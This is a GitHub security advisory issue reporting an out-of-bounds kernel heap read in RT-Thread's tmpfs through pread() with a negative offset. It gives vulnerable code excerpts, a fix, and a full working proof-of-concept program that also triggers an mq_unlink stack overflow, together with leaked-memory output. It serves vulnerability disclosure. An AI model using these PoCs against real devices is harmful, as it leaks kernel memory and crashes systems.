Skip to content

[Security] pread() with a large negative offset bypasses rw_verify_area() causing OOB heap read in tmpfs (info leak / crash) #11737

Description

@REYu6

Summary

rw_verify_area() rejects a negative file position only partially:

/* components/dfs/dfs_v2/src/dfs_file.c:246-250 */
pos = *ppos;
if (pos < 0)
{
    if (count >= -pos)      /* rejected ONLY when count >= -pos */
        return -EOVERFLOW;
}
/* pos < 0 with count < -pos FALLS THROUGH */

dfs_file_pread() (dfs_file.c:1037-1054) then passes the negative off_t
straight into the filesystem's read op. For tmpfs, dfs_tmpfs_read()
computes the length with signed arithmetic and copies from a negative index
without any unsigned guard:

/* components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c:298-305 */
ssize_t size = (ssize_t)file->vnode->size;
if ((ssize_t)count < size - *pos)
    length = count;
else
    length = size - *pos;              /* pos<0 inflates length */
if (length > 0)
    memcpy(buf, &(d_file->data[*pos]), length);   /* reads BEFORE the buffer */

So pread(fd, buf, n, -M) with n < M returns n bytes read from M
bytes before the tmpfs heap allocation — a kernel heap information
disclosure; a large M dereferences unmapped memory and data-aborts.

(For contrast, the elmfat read path is safe: dfs_elm.c:578 compares
against the unsigned vnode->size, which rejects negative positions.
tmpfs lacks the equivalent guard.)

Affected

  • Components: DFS core dfs_file.c + tmpfs dfs_tmpfs.c
  • Revision: master 6ea6827
  • Configuration: RT_USING_DFS_V2 + RT_USING_DFS_TMPFS, tmpfs mounted;
    pread reachable by any application (exported POSIX API).

Reproduction (QEMU, bsp/qemu-vexpress-a9)

PoC application on a tmpfs file that contains exactly "AAAABBBBCCCCDDDD":

long n = pread(fd, buf, 32, -64);   /* returns 32 */

Observed (console output followed by the rendered screenshot):

msh />poc_pread -64
[poc] pread(fd, buf, 32, -64) on tmpfs file ...
[poc] pread returned 32 bytes:
 20 85 0b 60 40 74 0b 60 01 00 00 00 20 20 20 20
 b1 72 0b 60 10 01 00 00 c0 00 00 00 74 73 68 65

pread_crash.png

pread_leak.png

None of these bytes belong to the file. They are kernel heap contents read
from in front of the allocation: kernel pointers (0x600b8520,
0x600b7440), allocator chunk sizes (0x110, 0xc0), and remnants of
other heap strings ("tshe").

With a wild offset (console output followed by the rendered screenshot):

msh />poc_pread -10000000
[poc] pread(fd, buf, 32, -10000000) on tmpfs file ...
backtrace: ... data abort:Execption: ...

Expected result

Negative offsets are rejected unconditionally: pread() returns -EINVAL
and no memory outside the file is read.

Impact

  • Attacker model: application code calling pread() with a hostile offset
    (e.g. offset derived from untrusted input). Under RT_USING_SMART, an
    unprivileged user application reads kernel heap memory; on flat builds
    the leak crosses into the shared heap and the wild-pointer variant
    crashes the device.
  • Severity: medium-high (info leak of kernel heap layout/contents; DoS).

Suggested fix

  1. Make rw_verify_area() reject every negative position unconditionally:
    if (pos < 0)
        return -EINVAL;    /* instead of the conditional count >= -pos rule */
  2. Defense-in-depth in tmpfs: compare positions against the unsigned file
    size as elmfat does (dfs_elm.c:578), e.g.
    if ((size_t)*pos >= file->vnode->size) return 0;

Complete PoC source

The full PoC application (bsp/applications/poc.c, English only, uses only
public exported APIs — dfs_mount, mq_unlink, open/write/pread) and the
msh script poc.sh are reproduced here; they are also archived at
REYu6/rt-thread-poc-evidence
together with the rendered console screenshots.

poc.sh (executed on the target as /poc.sh)

mkdir /tmp
poc_mount
mkdir /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

bsp/applications/poc.c

#include <rtthread.h>

/* PoC application: simulates a user application / msh script caller.
 * Targets: RT-Thread master 6ea6827, qemu-vexpress-a9 default config. */

extern int dfs_mount(const char *device, const char *path, const char *fs, unsigned long rwflag, void *data);
extern int open(const char *, int, ...);
extern long write(int, const void *, unsigned long);
extern long pread(int, void *, unsigned long, long);
extern int close(int);
extern int mq_unlink(const char *);

static void poc_mount(int argc, char **argv)
{
    int r = dfs_mount(RT_NULL, "/tmp", "tmp", 0, RT_NULL);
    rt_kprintf("[poc] mount tmpfs on /tmp -> %d (0=ok)\n", r);
}
MSH_CMD_EXPORT(poc_mount, mount tmpfs at /tmp);

static void poc_mq(int argc, char **argv)
{
    char name[512];
    int i;
    for (i = 0; i < 200; i++) name[i] = 'M';
    name[200] = '\0';
    rt_kprintf("[poc] mq_unlink with 200-char name (buffer is %d bytes)...\n", 16 + 12);
    mq_unlink(name);
    rt_kprintf("[poc] mq_unlink RETURNED (no crash)\n");
}
MSH_CMD_EXPORT(poc_mq, trigger mq_unlink long-name stack overflow);

static void poc_pread(int argc, char **argv)
{
    long off = -64;
    int fd;
    char buf[40];
    long n;
    int i;
    if (argc > 1) off = atol(argv[1]);
    fd = open("/tmp/leak.txt", 2 /*O_RDWR*/ | 0x200 /*O_CREAT*/, 0777);
    if (fd < 0) { rt_kprintf("[poc] open failed fd=%d errno=%d\n", fd, (int)rt_get_errno()); return; }
    write(fd, "AAAABBBBCCCCDDDD", 16);
    rt_memset(buf, 0, sizeof(buf));
    rt_kprintf("[poc] pread(fd, buf, 32, %ld) on tmpfs file ...\n", off);
    n = pread(fd, buf, 32, off);
    rt_kprintf("[poc] pread returned %d bytes:", (int)n);
    for (i = 0; i < 32; i++) rt_kprintf(" %02x", (unsigned char)buf[i]);
    rt_kprintf("\n[poc] done\n");
    close(fd);
}
MSH_CMD_EXPORT(poc_pread, pread negative-offset OOB read demo: poc_pread [offset]);

Build (bsp/qemu-vexpress-a9, unmodified default configuration):

cd bsp/qemu-vexpress-a9
RTT_ROOT=/path/to/rt-thread scons -j8
qemu-system-arm -M vexpress-a9 -kernel rtthread.elf -sd sd.bin -nographic

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions